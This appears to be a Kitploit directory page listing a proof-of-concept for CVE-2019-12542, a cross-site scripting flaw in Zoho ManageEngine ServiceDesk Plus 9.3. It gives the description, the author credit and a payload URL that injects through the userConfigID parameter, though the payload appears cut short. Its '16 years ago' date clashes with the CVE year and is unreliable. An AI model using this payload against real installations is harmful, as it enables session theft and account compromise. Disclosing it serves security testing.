Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Tool Directory

Categories

View all categories

Loading categories

CVE-2019-12542 — Proof-of-concept for CVE-2019-12542: XSS vulnerability in Zoho ManageEngine ServiceDesk Plus 9.3 via SearchN.do userConfigID parameter, with a working payload. | Kitploit

Tools/

GitHub/tarantula-team/cve-2019-12542

Vulnerability Analysis Exploitation Web Application Exploitation Information Gathering Penetration Testing

tarantula-team/cve-2019-12542

CVE-2019-12542

Proof-of-concept for CVE-2019-12542: XSS vulnerability in Zoho ManageEngine ServiceDesk Plus 9.3 via SearchN.do userConfigID parameter, with a working payload.

View Repository

16 years ago

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2019-12542 Zoho ManageEngine ServiceDesk Plus 9.3 XSS vulnerability in SearchN.do

Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do userConfigID parameter.

Author: Concobe of Tarantula Team - VinCSS (a member of Vingroup)

Payload

domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=1">&selectName=Site

Download Tool